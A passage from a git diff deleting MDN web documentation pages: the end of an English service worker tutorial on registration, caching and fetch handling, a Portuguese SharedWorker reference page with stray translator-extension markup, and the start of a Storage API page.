- <li>In the original, we only passed in a URL to an image we wanted to load. In this version, we pass in a JSON fragment containing all the data for a single image (see what they look like in <a href="https://github.com/mdn/sw-test/blob/gh-pages/image-list.js">image-list.js</a>). This is because all the data for each promise resolve has to be passed in with the promise, as it is asynchronous. If you just passed in the url, and then tried to access the other items in the JSON separately when the <code>for()</code> loop is being iterated through later on, it wouldn’t work, as the promise wouldn’t resolve at the same time as the iterations are being done (that is a synchronous process.)</li>
- <li>We actually resolve the promise with an array, as we want to make the loaded image blob available to the resolving function later on in the code, but also the image name, credits and alt text (see <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L31-L34">app.js lines 31-34</a>). Promises will only resolve with a single argument, so if you want to resolve with multiple values, you need to use an array/object.</li>
- <li>To access the resolved promise values, we then access this function as you’d then expect (see <a href="https://github.com/mdn/sw-test/blob/gh-pages/app.js#L60-L64">app.js lines 60-64</a>). This may seem a bit odd at first, but this is the way promises work.</li>
-</ol>
-
-<h2 id="Enter_service_workers">Enter service workers</h2>
-
-<p><strong>NOTE</strong> : We're using the <a href="http://es6-features.org/" rel="noopener">es6</a> <strong>arrow functions</strong> syntax in the Service Worker Implementation</p>
-
-<p>Now let’s get on to service workers!</p>
-
-<h3 id="Registering_your_worker">Registering your worker</h3>
-
-<p>The first block of code in our app’s JavaScript file — <code>app.js</code> — is as follows. This is our entry point into using service workers.</p>
-
-<pre class="brush: js">if ('serviceWorker' in navigator) {
- navigator.serviceWorker.register('./sw-test/sw.js', {scope: './sw-test/'})
-  .then((reg) =&gt; {
- // registration worked
- console.log('Registration succeeded. Scope is ' + reg.scope);
- }).catch((error) =&gt; {
- // registration failed
- console.log('Registration failed with ' + error);
- });
-}</pre>
-
-<ol>
- <li>The outer block performs a feature detection test to make sure service workers are supported before trying to register one.</li>
- <li>Next, we use the {{domxref("ServiceWorkerContainer.register()") }} function to register the service worker for this site, which is just a JavaScript file residing inside our app (note this is the file's URL relative to the origin, not the JS file that references it.)</li>
- <li>The <code>scope</code> parameter is optional, and can be used to specify the subset of your content that you want the service worker to control. In this case, we have specified '<code>/sw-test/'</code>, which means all content under the app's origin. If you leave it out, it will default to this value anyway, but we specified it here for illustration purposes.</li>
- <li>The <code>.then()</code> promise function is used to chain a success case onto our promise structure.  When the promise resolves successfully, the code inside it executes.</li>
- <li>Finally, we chain a <code>.catch()</code> function onto the end that will run if the promise is rejected.</li>
-</ol>
-
-<p>This registers a service worker, which runs in a worker context, and therefore has no DOM access. You then run code in the service worker outside of your normal pages to control their loading.<br>
- <br>
- A single service worker can control many pages. Each time a page within your scope is loaded, the service worker is installed against that page and operates on it. Bear in mind therefore that you need to be careful with global variables in the service worker script: each page doesn’t get its own unique worker.</p>
-
-<div class="note">
-<p><strong>Note</strong>: Your service worker functions like a proxy server, allowing you to modify requests and responses, replace them with items from its own cache, and more.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: One great thing about service workers is that if you use feature detection like we’ve shown above, browsers that don’t support service workers can just use your app online in the normal expected fashion. Furthermore, if you use AppCache and SW on a page, browsers that don’t support SW but do support AppCache will use that, and browsers that support both will ignore the AppCache and let SW take over.</p>
-</div>
-
-<h4 id="Why_is_my_service_worker_failing_to_register">Why is my service worker failing to register?</h4>
-
-<p>This could be for the following reasons:</p>
-
-<ol>
- <li>You are not running your application through HTTPS.</li>
- <li>The path to your service worker file is not written correctly — it needs to be written relative to the origin, not your app’s root directory. In our example, the worker is at <code>https://mdn.github.io/sw-test/sw.js</code>, and the app’s root is <code>https://mdn.github.io/sw-test/</code>. But the path needs to be written as <code>/sw-test/sw.js</code>, not <code>/sw.js</code>.</li>
- <li>The service worker being pointed to is on a different origin to that of your app. This is also not allowed.</li>
-</ol>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/12630/important-notes.png" style="display: block; height: 277px; margin: 0px auto; width: 574px;"></p>
-
-<p>Also note:</p>
-
-<ul>
- <li>The service worker will only catch requests from clients under the service worker's scope.</li>
- <li>The max scope for a service worker is the location of the worker.</li>
- <li>If your service worker is active on a client being served with the <code>Service-Worker-Allowed</code> header, you can specify a list of max scopes for that worker.</li>
- <li>In Firefox, Service Worker APIs are hidden and cannot be used when the user is in <a href="https://support.mozilla.org/en-US/kb/private-browsing-use-firefox-without-history">private browsing mode</a>.</li>
-</ul>
-
-<h3 id="Install_and_activate_populating_your_cache">Install and activate: populating your cache</h3>
-
-<p>After your service worker is registered, the browser will attempt to install then activate the service worker for your page/site.<br>
- <br>
- The install event is fired when an install is successfully completed. The install event is generally used to populate your browser’s offline caching capabilities with the assets you need to run your app offline. To do this, we use Service Worker’s brand new storage API — {{domxref("cache")}} — a global object on the service worker that allows us to store assets delivered by responses, and keyed by their requests. This API works in a similar way to the browser’s standard cache, but it is specific to your domain. It persists until you tell it not to — again, you have full control.</p>
-
-<div class="note">
-<p><strong>Note</strong>: The Cache API is not supported in every browser. (See the {{anch("Browser compatibility")}} section for more information.) If you want to use this now, you could consider using a polyfill like the one available in <a href="https://github.com/Polymer/topeka/blob/master/sw.js">Google's Topeka demo</a>, or perhaps store your assets in <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a>.</p>
-</div>
-
-<p>Let’s start this section by looking at a code sample — this is the <a href="https://github.com/mdn/sw-test/blob/gh-pages/sw.js#L1-L18">first block you’ll find in our service worker</a>:</p>
-
-<pre class="brush: js">self.addEventListener('install', (event) =&gt; {
-  event.waitUntil(
-    caches.open('v1').then((cache) =&gt; {
-      return cache.addAll([
-        './sw-test/',
-        './sw-test/index.html',
-        './sw-test/style.css',
-        './sw-test/app.js',
-        './sw-test/image-list.js',
-        './sw-test/star-wars-logo.jpg',
-        './sw-test/gallery/',
-        './sw-test/gallery/bountyHunters.jpg',
-        './sw-test/gallery/myLittleVader.jpg',
-        './sw-test/gallery/snowTroopers.jpg'
-      ]);
-    })
-  );
-});</pre>
-
-<ol>
- <li>Here we add an <code>install</code> event listener to the service worker (hence <code>self</code>), and then chain a {{domxref("ExtendableEvent.waitUntil()") }} method onto the event — this ensures that the service worker will not install until the code inside <code>waitUntil()</code> has successfully occurred.</li>
- <li>Inside <code>waitUntil()</code> we use the <a href="/en-US/docs/Web/API/CacheStorage/open"><code>caches.open()</code></a> method to create a new cache called <code>v1</code>, which will be version 1 of our site resources cache. This returns a promise for a created cache; once resolved, we then call a function that calls <code>addAll()</code> on the created cache, which for its parameter takes an array of origin-relative URLs to all the resources you want to cache.</li>
- <li>If the promise is rejected, the install fails, and the worker won’t do anything. This is ok, as you can fix your code and then try again the next time registration occurs.</li>
- <li>After a successful installation, the service worker activates. This doesn’t have much of a distinct use the first time your service worker is installed/activated, but it means more when the service worker is updated (see the {{anch("Updating your service worker") }} section later on.)</li>
-</ol>
-
-<div class="note">
-<p><strong>Note</strong>: <a href="/en-US/docs/Web/Guide/API/DOM/Storage">localStorage</a> works in a similar way to service worker cache, but it is synchronous, so not allowed in service workers.</p>
-</div>
-
-<div class="note">
-<p><strong>Note</strong>: <a href="/en-US/docs/Web/API/IndexedDB_API">IndexedDB</a> can be used inside a service worker for data storage if you require it.</p>
-</div>
-
-<h3 id="Custom_responses_to_requests">Custom responses to requests</h3>
-
-<p>Now you’ve got your site assets cached, you need to tell service workers to do something with the cached content. This is easily done with the <code>fetch</code> event.</p>
-
-<p><img alt="" src="https://mdn.mozillademos.org/files/12634/sw-fetch.png" style="display: block; margin: 0 auto;"></p>
-
-<p>A <code>fetch</code> event fires every time any resource controlled by a service worker is fetched, which includes the documents inside the specified scope, and any resources referenced in those documents (for example if <code>index.html</code> makes a cross origin request to embed an image, that still goes through its service worker.)</p>
-
-<p>You can attach a <code>fetch</code> event listener to the service worker, then call the <code>respondWith()</code> method on the event to hijack our HTTP responses and update them with your own magic.</p>
-
-<pre class="brush: js">self.addEventListener('fetch', (event) =&gt; {
- event.respondWith(
- // magic goes here
- );
-});</pre>
-
-<p>We could start by simply responding with the resource whose url matches that of the network request, in each case:</p>
-
-<pre class="brush: js">self.addEventListener('fetch', (event) =&gt; {
- event.respondWith(
- caches.match(event.request)
- );
-});</pre>
-
-<p><code>caches.match(event.request)</code> allows us to match each resource requested from the network with the equivalent resource available in the cache, if there is a matching one available. The matching is done via url and vary headers, just like with normal HTTP requests.</p>
-
-<p>Let’s look at a few other options we have when defining our magic (see our <a href="/en-US/docs/Web/API/Fetch_API">Fetch API documentation</a> for more information about {{domxref("Request")}} and {{domxref("Response")}} objects.)</p>
-
-<ol>
- <li>
- <p>The <code>{{domxref("Response.Response","Response()")}}</code> constructor allows you to create a custom response. In this case, we are just returning a simple text string:</p>
-
- <pre class="brush: js">new Response('Hello from your friendly neighbourhood service worker!');</pre>
- </li>
- <li>
- <p>This more complex <code>Response</code> below shows that you can optionally pass a set of headers in with your response, emulating standard HTTP response headers. Here we are just telling the browser what the content type of our synthetic response is:</p>
-
- <pre class="brush: js">new Response('&lt;p&gt;Hello from your friendly neighbourhood service worker!&lt;/p&gt;', {
- headers: { 'Content-Type': 'text/html' }
-});</pre>
- </li>
- <li>
- <p>If a match wasn’t found in the cache, you could tell the browser to simply {{domxref("GlobalFetch.fetch","fetch")}} the default network request for that resource, to get the new resource from the network if it is available:</p>
-
- <pre class="brush: js">fetch(event.request);</pre>
- </li>
- <li>
- <p>If a match wasn’t found in the cache, and the network isn’t available, you could just match the request with some kind of default fallback page as a response using {{domxref("CacheStorage.match","match()")}}, like this:</p>
-
- <pre class="brush: js">caches.match('./fallback.html');</pre>
- </li>
- <li>
- <p>You can retrieve a lot of information about each request by calling parameters of the {{domxref("Request")}} object returned by the {{domxref("FetchEvent")}}:</p>
-
- <pre class="brush: js">event.request.url
-event.request.method
-event.request.headers
-event.request.body</pre>
- </li>
-</ol>
-
-<h2 id="Recovering_failed_requests">Recovering failed requests</h2>
-
-<p>So <code>caches.match(event.request)</code> is great when there is a match in the service worker cache, but what about cases when there isn’t a match? If we didn’t provide any kind of failure handling, our promise would resolve with <code>undefined</code> and we wouldn't get anything returned.</p>
-
-<p>Fortunately service workers’ promise-based structure makes it trivial to provide further options towards success. We could do this:</p>
-
-<pre class="brush: js">self.addEventListener('fetch', (event) =&gt; {
- event.respondWith(
- caches.match(event.request).then((response) =&gt; {
- return response || fetch(event.request);
- })
- );
-});</pre>
-
-<p>If the resources aren't in the cache, they are requested from the network.</p>
-
-<p>If we were being really clever, we would not only request the resource from the network; we would also save it into the cache so that later requests for that resource could be retrieved offline too! This would mean that if extra images were added to the Star Wars gallery, our app could automatically grab them and cache them. The following would do the trick:</p>
-
-<pre class="brush: js">self.addEventListener('fetch', (event) =&gt; {
- event.respondWith(
- caches.match(event.request).then((resp) =&gt; {
- return resp || fetch(event.request).then((response) =&gt; {
- return caches.open('v1').then((cache) =&gt; {
- cache.put(event.request, response.clone());
- return response;
- });
- });
- })
- );
-});</pre>
-
-<p>Here we return the default network request with <code>return fetch(event.request)</code>, which returns a promise. When this promise is resolved, we respond by running a function that grabs our cache using <code>caches.open('v1')</code>; this also returns a promise. When that promise resolves, <code>cache.put()</code> is used to add the resource to the cache. The resource is grabbed from <code>event.request</code>, and the response is then cloned with <code>response.clone()</code> and added to the cache. The clone is put in the cache, and the original response is returned to the browser to be given to the page that called it.</p>
-
-<p>Cloning the response is necessary because request and response streams can only be read once.  In order to return the response to the browser and put it in the cache we have to clone it. So the original gets returned to the browser and the clone gets sent to the cache.  They are each read once.</p>
-
-<p>The only trouble we have now is that if the request doesn’t match anything in the cache, and the network is not available, our request will still fail. Let’s provide a default fallback so that whatever happens, the user will at least get something:</p>
-
-<pre class="brush: js">self.addEventListener('fetch', (event) =&gt; {
- event.respondWith(
- caches.match(event.request).then((resp) =&gt; {
- return resp || fetch(event.request).then((response) =&gt; {
- let responseClone = response.clone();
- caches.open('v1').then((cache) =&gt; {
- cache.put(event.request, responseClone);
- });
-
- return response;
- });
- }).catch(() =&gt; {
- return caches.match('./sw-test/gallery/myLittleVader.jpg');
- })
- );
-});</pre>
-
-<p>We have opted for this fallback image because the only updates that are likely to fail are new images, as everything else is depended on for installation in the <code>install</code> event listener we saw earlier.</p>
-
-<h2 id="Updating_your_service_worker"><a id="Updating your service worker" name="Updating your service worker">Updating your service worker</a></h2>
-
-<p>If your service worker has previously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the background, but not yet activated. It is only activated when there are no longer any pages loaded that are still using the old service worker. As soon as there are no more such pages still loaded, the new service worker activates.</p>
-
-<p>You’ll want to update your <code>install</code> event listener in the new service worker to something like this (notice the new version number):</p>
-
-<pre class="brush: js">self.addEventListener('install', (event) =&gt; {
- event.waitUntil(
- caches.open('v2').then((cache) =&gt; {
- return cache.addAll([
- './sw-test/',
- './sw-test/index.html',
- './sw-test/style.css',
- './sw-test/app.js',
- './sw-test/image-list.js',
-
- …
-
- // include other new resources for the new version...
- ]);
- })
- );
-});</pre>
-
-<p>While this happens, the previous version is still responsible for fetches. The new version is installing in the background. We are calling the new cache <code>v2</code>, so the previous <code>v1</code> cache isn't disturbed.</p>
-
-<p>When no pages are using the current version, the new worker activates and becomes responsible for fetches.</p>
-
-<h3 id="Deleting_old_caches">Deleting old caches</h3>
-
-<p>You also get an <code>activate</code> event. This is a generally used to do stuff that would have broken the previous version while it was still running, for example getting rid of old caches. This is also useful for removing data that is no longer needed to avoid filling up too much disk space — each browser has a hard limit on the amount of cache storage that a given service worker can use. The browser does its best to manage disk space, but it may delete the Cache storage for an origin.  The browser will generally delete all of the data for an origin or none of the data for an origin.</p>
-
-<p>Promises passed into <code>waitUntil()</code> will block other events until completion, so you can rest assured that your clean-up operation will have completed by the time you get your first <code>fetch</code> event on the new cache.</p>
-
-<pre class="brush: js">self.addEventListener('activate', (event) =&gt; {
- var cacheKeeplist = ['v2'];
-
- event.waitUntil(
- caches.keys().then((keyList) =&gt; {
- return Promise.all(keyList.map((key) =&gt; {
- if (cacheKeeplist.indexOf(key) === -1) {
- return caches.delete(key);
- }
- }));
- })
- );
-});</pre>
-
-<h2 id="Developer_tools">Developer tools</h2>
-
-<p>Chrome has <code>chrome://inspect/#service-workers</code>, which shows current service worker activity and storage on a device, and <code>chrome://serviceworker-internals</code>, which shows more detail and allows you to start/stop/debug the worker process. In the future they will have throttling/offline modes to simulate bad or non-existent connections, which will be a really good thing.</p>
-
-<p>Firefox has also started to implement some useful tools related to service workers:</p>
-
-<ul>
- <li>You can navigate to <code><a href="/en-US/docs/Tools/about:debugging">about:debugging</a></code> to see what SWs are registered and update/remove them.</li>
- <li>When testing you can get around the HTTPS restriction by checking the "Enable Service Workers over HTTP (when toolbox is open)" option in the <a href="/en-US/docs/Tools/Settings">Firefox Developer Tools settings</a>.</li>
- <li>The "Forget" button, available in Firefox's customization options, can be used to clear service workers and their caches ({{bug(1252998)}}).</li>
-</ul>
-
-<div class="note">
-<p><strong>Note</strong>: You may serve your app from <code>http://localhost</code> (e.g. using <code>me@localhost:/my/app$ <strong>python -m SimpleHTTPServer</strong></code>) for local development. See <a href="https://www.w3.org/TR/service-workers/#security-considerations">Security considerations</a></p>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="http://blog.88mph.io/2017/07/28/understanding-service-workers/">Understanding Service Workers</a></li>
- <li><a href="https://serviceworke.rs/">The Service Worker Cookbook</a></li>
- <li><a href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
- <li>Download the <a href="https://mdn.mozillademos.org/files/12638/sw101.png">Service Workers 101 cheatsheet</a>.</li>
- <li><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promises</a></li>
- <li><a href="/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
-</ul>
diff --git a/files/pt-pt/web/api/sharedworker/index.html b/files/pt-pt/web/api/sharedworker/index.html
deleted file mode 100644
index bf476434fb..0000000000
--- a/files/pt-pt/web/api/sharedworker/index.html
+++ /dev/null
@@ -1,200 +0,0 @@
----
-title: SharedWorker
-slug: Web/API/SharedWorker
-tags:
- - API
- - Interface
- - Referencia
- - SharedWorker
- - Web Workers
- - Workers
-translation_of: Web/API/SharedWorker
----
-<div>{{APIRef("Web Workers API")}}</div>
-
-<p>A interface <code><strong>SharedWorker</strong></code> representa um tipo de <em>worker </em>específico que pode ser acedido  <em>a partir de vários contextos de navegação</em>, tais como várias janelas, <em>iframes</em> ou até <em>workers</em>. Eles implementam uma interface diferente do que os <em>workers </em>dedicados e têm um âmbito global diferente, {{domxref("SharedWorkerGlobalScope")}}.</p>
-
-<div class="note">
-<p><strong>Nota:</strong>  Se o SharedWorker puder ser acedido a partir de vários contextos de navegação, todos esses contextos de navegação devem partilhar exatamente a mesma origem (mesmo protocolo, anfitrião e porto).</p>
-</div>
-
-<h2 id="Construtor">Construtor</h2>
-
-<dl>
- <dt>{{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}</dt>
- <dd>Cria um <em>web worker</em> partilhado que executa uma <em>script</em> na URL indicada.</dd>
-</dl>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<p><em>Esta interface também herda propriedades de {{domxref("EventTarget")}} de qual se deriva, e implementa propriedades de {{domxref("AbstractWorker")}}.</em></p>
-
-<dl>
- <dt>{{domxref("AbstractWorker.onerror")}}</dt>
- <dd>É um {{domxref("EventListener")}} chamado quando um {{domxref("ErrorEvent")}} do tipo <code>error</code> sai do <em>worker</em>.</dd>
- <dt>{{domxref("SharedWorker.port")}} {{readonlyInline}}</dt>
- <dd>Devolve um objeto {{domxref("MessagePort")}} usado para controlar e comunicar com o <em>worker</em> partilhado.</dd>
-</dl>
-
-<dl>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<p><em>Esta interface também herda métodos de {{domxref("EventTarget")}} de qual se deriva, e implementa métodos de </em><em>{{domxref("AbstractWorker")}}.</em></p>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<p>No nosso <a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">exemplo básico dum <em>worker</em> partilhado</a>, temos duas páginas de HTML, cada qual usa JavaScript para fazer um simples cálculo. Os <em>scripts</em> diferentes estão a utilizar o mesmo ficheiro de <em>worker</em> para fazer os cálculos — ambos podem-no aceder, mesmo se as páginas estiverem a correr em janelas diferentes.</p>
-
-<p>O seguinte <em>snippet</em> de código demonstra a criação dum objeto {{domxref("SharedWorker")}} usando o construtor {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}. Ambas <em>scripts</em> contêm isto:</p>
-
-<pre class="brush: js notranslate">var myWorker = new SharedWorker('worker.js');
-</pre>
-
-<p>Ambas <em>scripts</em> acedem ao <em>worker</em> através dum objeto {{domxref("MessagePort")}} criado usando a propriedade {{domxref("SharedWorker.port")}}. Se o evento <code>onmessage</code> foi adicionado usando <code>addEventListener</code>, a porta é manualmente criada usando o seu método <code>start()</code>:</p>
-
-<pre class="brush: js notranslate">myWorker.port.start();</pre>
-
-<p>Quando a porta é iniciada, ambos <em>scripts</em> enviam mensagens ao <em>worker</em> e processão mensagens vindas do <em>worker</em> usando <code>port.postMessage()</code> e <code>port.onmessage</code>, respetivamente:</p>
-
-<pre class="brush: js notranslate">first.onchange = function() {
- myWorker.port.postMessage([first.value,second.value]);
- console.log(' Mensagem enviada ao worker');
-}
-
-second.onchange = function() {
- myWorker.port.postMessage([first.value,second.value]);
- console.log(' Mensagem enviada ao worker');
-}
-
-myWorker.port.onmessage = function(e) {
- result1.textContent = e.data;
- console.log(' Mensagem recebida do worker');
-}</pre>
-
-<p>Dentro do <em>worker</em> usamos o <em>handler</em> {{domxref("SharedWorkerGlobalScope.onconnect")}} para nos ligarmos à mesma porta a que referimos antes. As portas associadas a esse <em>worker</em> são acessíveis através da propriedade <code>ports</code> do evento {{event("connect")}} — nós depois usamos o método <code>start()</code> de {{domxref("MessagePort")}} para iniciar a porta, e o <em>handler</em> <code>onmessage</code> para lidar com as mensagens enviadas dos <em>threads</em> principais.</p>
-
-<pre class="brush: js notranslate">onconnect = function(e) {
- var port = e.ports[0];
-
- port.addEventListener('message', function(e) {
- var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
- port.postMessage(workerResult);
- });
-
- port.start(); // Necessário quando se usa addEventListener. Senão é chamado implicitamente pelo setter de onmessage.
-}</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('HTML WHATWG', "#sharedworker", "SharedWorker")}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td>Sem diferenças em comparação a {{SpecName("Web Workers")}}.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.SharedWorker")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("Worker")}}</li>
- <li><a class="internal" href="/pt-PT/docs/Web/API/Web_Workers_API/Utilizacao_de_web_workers">Utilização de workers da Web</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style=""></div>
-
-<div id="SL_shadow_translation_result2" class="hidden"></div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<div id="SL_alert_cont"></div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"></div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"></div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"></div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"></div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"></div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"></div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"></div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result"></div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<div id="SL_player2"></div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"></div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"></div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/storage_api/index.html b/files/pt-pt/web/api/storage_api/index.html
deleted file mode 100644
index 28918cf371..0000000000
--- a/files/pt-pt/web/api/storage_api/index.html
+++ /dev/null
@@ -1,129 +0,0 @@
----
-title: API de armazenamento
-slug: Web/API/Storage_API
-tags:
- - API
- - API de armazenamento
- - Armazenamento
- - Contextod e segurança
- - Quotas
- - Referencia
- - Resumo
- - Sinopse
- - Utilização
-translation_of: Web/API/Storage_API
-original_slug: Web/API/API_armazenamento
----
